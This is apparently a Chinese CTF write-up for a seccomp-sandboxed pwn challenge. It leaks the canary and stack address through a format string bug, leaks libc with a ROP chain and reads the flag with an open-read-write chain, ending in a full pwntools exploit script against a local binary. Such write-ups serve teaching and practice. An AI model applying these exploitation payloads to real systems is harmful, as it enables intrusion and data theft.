据学长说,那一次的ctf出题人一句“我就没打算让pwn有解”让全场所有pwner直呼内行,pwn1看似简单实则在比赛过程中能出比赛也快结束了。

分析elf确定大概思路

IDA打开分析elf文件

main()函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int16 v4; // [rsp+0h] [rbp-40h] BYREF
__int16 *v5; // [rsp+8h] [rbp-38h]
__int16 v6; // [rsp+10h] [rbp-30h] BYREF
char v7; // [rsp+12h] [rbp-2Eh]
char v8; // [rsp+13h] [rbp-2Dh]
int v9; // [rsp+14h] [rbp-2Ch]
__int16 v10; // [rsp+18h] [rbp-28h]
char v11; // [rsp+1Ah] [rbp-26h]
char v12; // [rsp+1Bh] [rbp-25h]
int v13; // [rsp+1Ch] [rbp-24h]
__int16 v14; // [rsp+20h] [rbp-20h]
char v15; // [rsp+22h] [rbp-1Eh]
char v16; // [rsp+23h] [rbp-1Dh]
int v17; // [rsp+24h] [rbp-1Ch]
__int16 v18; // [rsp+28h] [rbp-18h]
char v19; // [rsp+2Ah] [rbp-16h]
char v20; // [rsp+2Bh] [rbp-15h]
int v21; // [rsp+2Ch] [rbp-14h]
unsigned __int64 v22; // [rsp+38h] [rbp-8h]

v22 = __readfsqword(0x28u);
v6 = 32;
v7 = 0;
v8 = 0;
v9 = 0;
v10 = 21;
v11 = 0;
v12 = 1;
v13 = 59;
v14 = 6;
v15 = 0;
v16 = 0;
v17 = 0;
v18 = 6;
v19 = 0;
v20 = 0;
v21 = 2147418112;
v4 = 4;
v5 = &v6;
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
prctl(38, 1LL, 0LL, 0LL, 0LL);
prctl(22, 2LL, &v4);
welcome(22LL, 2LL);
return 0;
}

别的可能会有些许差异,但是它调用了prctl函数我们就要有所警惕了,就要想它应该开了沙箱保护。用seccomp-toolself的沙箱保护,发现该elf禁用了execve系统调用。

这个保护的开启就相当于断绝了我们调用system的绝大部分的命令,诸如/bin/sh或者是cat flag这类的。对于这个我们也是有应对措施的,那就是orw(open-read-write的缩写)。这一题很明显就是要我们用这个方法去获取flag了。

寻找漏洞点

确定好思路之后进welcome()函数寻找漏洞点。

很明显存在格式化字符串漏洞和栈溢出漏洞,而plt表段存在_stack_chk_fail函数,那就是开了canary保护,那么我们肯定是先利用格式化字符串任意读的特性泄露canary,再栈溢出。

canary偏移确定

首先是看字符串相对于格式化字符串第一个参数的偏移。因为buf刚好在welcome函数的缓冲区顶部,因此很容易可以猜测buf距离第一个参数差了6*8个字节,因为它们中间隔了5个寄存器。然后buf到栈底又有0xb0个字节,而canary就在rsp-8的位置上。综上所述,canary应该在printf除了格式化字符串参数以外的第(6x8+0xb0-8)/8=27,所以第一次的payload我们就给%27$p,看看输出的是不是canary有如下特性:

①随机性,每次运行差别都会很大

②最低位字节永远为\0

多次测试发现均符合上面两个特性,因此canary就被泄露出来了。

我们接收的是数字组成的字节,因此我们会接收到16个16进制的数,然后字节转成数值后用p64转为字节就可以利用canary了。

1
2
3
4
payload=b'%27$p'
p.sendlineafter(b'Welcome! What is your name?',payload)
p.recvuntil(b'0x')
canary=p64(int(p.recv(16),16))

这就是第一步的payload

栈溢出泄露libc

题目中存在输出函数puts

这个用一般的payload就可

1
payload=b'a'*(buf_size-8)+canary+b'a'*8+P64(pop_rdi)+p64(puts_got)+p64(puts)+p64(welcome)

泄露完成之后记得重新执行welcome实现二次溢出执行一些libc的函数,因为我们不需要system,只需要orw,在已有的函数中就缺一个open函数。找到偏移得到open的真实地址。因为我只能本地复盘,又没有加载它给的libc,因此偏移只能是我自己本地调试是多少就是多少了。

open函数的调用

open函数只需要两个就能完成,一个是"flag"或者是"flag.txt",另一个参数就是"r"或者是0。而只有栈是我们可读可写可以随意控制的,因此我们还需要泄露栈地址。泄露栈地址与泄露canary思路是一样的,可以用格式化字符串的任意写和C字符串的判定方式来泄露存储在栈中的rbp,这里已经有了格式化字符串漏洞,因此我们可以在payload1加上一个格式化字符来多泄露一个rbp

gdb是个好东西,用它来调试一下。因为我们的rop链是执行到welcome的那个地方才是栈底,所以我们泄露那边的rsp

那边的rbp刚好是我们新的welcome函数的栈底,讲的通俗点上面就是canary了。

所以我们的payload和对应的接受输出的措施就可以改成

1
2
3
4
5
6
payload=b'%27$p %31$p'
p.recvuntil(b'0x')
canary=p64(int(p.recv(16),16))

p.recvuntil(b'0x')
rbp=int(p.recv(16),16)

然后我们就可以在下一次的payload里面输入flag字符串并且根据地址去引用它。首先还是老样子把canary泄露出来,然后open函数去打开flag文件。这里我的做法是把flag输出到了后面,但其实可以在前面就把flag字符串放上去,那样偏移还是固定的,而放在后面的话还得根据rop链的长度判断地址。但是思路是这么个思路,可以想一下万一缓冲区没给够,还得输出在后面的时候该用什么措施应对。这里有一个很好用的东西就是ljust固定rop链大小然后再去写。

这里我给了0xb0的长度去写rop链,先一步步来。

1
2
payload=payload=0x68*b'a'+canary+b'a'*8+(p64(pop_rsi_pop)+p64(0)*2+p64(pop_rdi)+p64(rbp+0xb8)+p64(op)
).ljust(0xb0,b'a')+b'flag\0'

这一部分输入之后gdb调试看看能不能成功打开flag文件。

可以看到已经成功把rdi的值变成了flag字符串了,后面一步也是直接执行了open函数。接着调试发现open返回值为3,说明该文件描述符为3,等一下read里面的fd参数就应该给3了。因为这里有三个参数,前两个寄存器的gadget很容易找得到,第三个rdx相关的gadget是死活找不到。这样的话有三种应对措施

①ret2csu,这个方法套一下模板和容易就可以执行了这个read。

②去libc中找到rdx相关的gadget,这是官方放出的wp的思路。

③我另辟蹊径,开辟出第三种方法,这个是一个小技巧,可以记一下:在调用strcmp函数的时候,rdx的值会变成两个字符串中第一个不同字符的第二个字符串对应位置的ascii值。举个栗子,如果我调用strcmp(“aaa”,”abc”)的话,结束的时候rdx的值为’b’。

这里我用了第三种方法。那么接下来的payload就是这样:

1
2
3
4
payload=0x68*b'a'+canary+b'a'*8+(p64(pop_rsi_pop)+p64(0)+p64(0)+p64(pop_rdi)+p64(rbp+0xb8)+p64(op)
+p64(pop_rsi_pop)+p64(rbp+0xb9)+p64(0)+p64(pop_rdi)+p64(rbp+0xb8)+p64(strcmp)
+p64(pop_rsi_pop)+p64(rbp+0xb8)+p64(0)+p64(pop_rdi)+p64(3)+p64(read)
).ljust(0xb0,b'a')+b'flag\0'+b'a\0'

继续运行下去可以发现read成功地把我本地的flag文件读到了栈上面

最后一步应该很简单,就是把那个地方的字符串puts出来,因为在调试器里面我们能看到这个flag,但是打远程的时候我们肯定要输出出来才能看到这串flag。

1
2
3
4
5
、payload=0x68*b'a'+canary+b'a'*8+(p64(pop_rsi_pop)+p64(0)+p64(0)+p64(pop_rdi)+p64(rbp+0xb8)+p64(op)
+p64(pop_rsi_pop)+p64(rbp+0xb9)+p64(0)+p64(pop_rdi)+p64(rbp+0xb8)+p64(strcmp)
+p64(pop_rsi_pop)+p64(rbp+0xb8)+p64(0)+p64(pop_rdi)+p64(3)+p64(read)
+p64(pop_rdi)+p64(rbp+0xb8)+p64(puts_addr)
).ljust(0xb0,b'a')+b'flag\0'+b'a\0'

怎么说呢?难是很难,但是确实收获很多,如果想试试这题的师傅们可以直接联系我qq找我要。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import*
from LibcSearcher import *
context(log_level = 'debug', arch = 'amd64', os = 'linux')
p=process('./pwn1')

elf=ELF('./pwn1')
puts=elf.plt['puts']
puts_got=elf.got['puts']
pop_rdi=0x400943
welcome=0x400726
pop_rsi_pop=0x400941
read=elf.plt['read']

payload=b'%27$p\n%31$p'
p.sendlineafter(b'name?',payload)

p.recvuntil(b'0x')
canary=p64(int(p.recv(16),16))
print(canary)
p.recvline()

p.recvuntil(b'0x')
rbp=int(p.recv(12),16)
print(hex(rbp))

payload=0x68*b'a'+canary+b'a'*8+p64(pop_rdi)+p64(puts_got)+p64(puts)+p64(welcome)
p.sendlineafter(b'you?',payload)
p.recvline()
puts_addr=(u64(p.recvline()[0:-1].ljust(8,b'\0')))
print(hex(puts_addr))

op=puts_addr+0x898b0
strcmp=puts_addr+0xff5c0

payload=b'%27$p'
p.sendlineafter(b'name?',payload)
p.recvuntil(b'0x')
canary=p64(int(p.recv(16),16))

print(canary)
gdb.attach(p)
payload=0x68*b'a'+canary+b'a'*8+(p64(pop_rsi_pop)+p64(0)+p64(0)+p64(pop_rdi)+p64(rbp+0xb8)+p64(op)
+p64(pop_rsi_pop)+p64(rbp+0xb9)+p64(0)+p64(pop_rdi)+p64(rbp+0xb8)+p64(strcmp)
+p64(pop_rsi_pop)+p64(rbp+0xb8)+p64(0)+p64(pop_rdi)+p64(3)+p64(read)
+p64(pop_rdi)+p64(rbp+0xb8)+p64(puts_addr)
).ljust(0xb0,b'a')+b'flag\0'+b'a\0'
p.sendline(payload)
p.interactive()